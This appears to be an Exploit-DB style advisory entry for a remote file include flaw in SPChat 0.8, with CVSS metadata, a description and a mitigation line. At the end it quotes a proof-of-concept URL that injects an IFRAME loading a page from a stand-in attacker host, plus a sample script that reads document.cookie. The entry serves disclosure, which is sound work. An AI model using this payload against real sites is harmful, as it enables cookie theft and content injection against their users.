SPChat Remote File Include Vulnerability

vendor:

SPChat

by:

SecurityFocus

7.5

CVSS

HIGH

Remote File Include

CWE

Product Name: SPChat

Affected Version From: 0.8

Affected Version To: 0.8

Patch Exists: YES

Related CWE: N/A

CPE: SPChat

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

SPChat Remote File Include Vulnerability

SPChat has been reported prone to a remote file include vulnerability. The issue presents itself due to insufficient sanitization performed on the user-supplied URI variable 'statussess' by the SPChat module. It is possible for a remote attacker to include a malicious file in a URL.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/7780/info

SPChat has been reported prone to a remote file include vulnerability.

The issue presents itself due to insufficient sanitization performed on the user-supplied URI variable 'statussess' by the SPChat module. It is possible for a remote attacker to include a malicious file in a URL.

This vulnerability was reported to affect SPChat version 0.8 other versions may also be affected. 

http://www.example.com/modules.php?op=modload&name=SPChat&file=index&statussess=<IFRAME%20src="http://www.attacker.com/attack.htm"%20marginWidth=0%20marginHeight=0%20fr
ameBorder=0%20width=500%20scrolling=yes%20height=500></IFRAME>

----- Source Code For attack.htm for eg. -----
?script>
alert(document.cookie);
?/script>
----- Source Code For attack.htm -----